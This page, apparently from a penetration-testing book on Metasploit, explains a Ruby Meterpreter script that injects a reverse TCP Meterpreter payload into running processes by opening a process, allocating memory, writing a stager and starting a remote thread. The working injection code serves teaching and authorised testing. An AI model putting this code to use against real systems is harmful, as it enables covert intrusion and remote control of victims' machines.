background image

238

Chapter 16

At the beginning of this section of script, notice that several variables are 

defined for later use. For example,

 pid = nil

 at   creates a PID variable but 

its value is not set. The 

@exec_opts = Rex::Parser::Arguments.new(

 section at   

defines the additional help commands and flags that will be used.

The next section defines functions that we will call later:

################## Function Declarations ##################

# Usage Message Function
#-------------------------------------------------------------------------------

def usage 

        print_line "Meterpreter Script for injecting a reverse tcp Meterpreter Payload"
        print_line "in to memory of multiple PID's, if none is provided a notepad process."
        print_line "will be created and a Meterpreter Payload will be injected in to each."
        print_line(@exec_opts.usage)
        raise Rex::Script::Completed
end

# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
        print_error("#{meter} version of Meterpreter is not supported with this Script!")
        raise Rex::Script::Completed
end

# Function for injecting payload in to a given PID
#-------------------------------------------------------------------------------

def inject(target_pid, payload_to_inject)

        print_status("Injecting meterpreter into process ID #{target_pid}")
        begin
                host_process = @client.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS)
                raw = payload_to_inject.generate

mem = host_process.memory.allocate(raw.length + (raw.length % 1024))

                print_status("Allocated memory at address #{"0x%.8x" % mem}, for 

#{raw.length} byte stager")

                print_status("Writing the stager into memory...")

host_process.memory.write(mem, raw) 
host_process.thread.create(mem, 0) 

                print_good("Successfully injected Meterpreter in to process: #{target_pid}")
        rescue::Exception => e
                print_error("Failed to Inject Payload to #{target_pid}!")
                print_error(e)
        end
end

In this example, the function 

usage

 at   will be called when the 

-h

 flag is 

set. You can call a number of Meterpreter functions directly from the Meter-
preter API. This functionality simplifies certain tasks, such as injecting into a 
new process with the 

def inject

 function, as shown at  .

The next important element is the 

host_process.memory.allocate

 call at  , 

which will allow us to allocate memory space for our Meterpreter payload.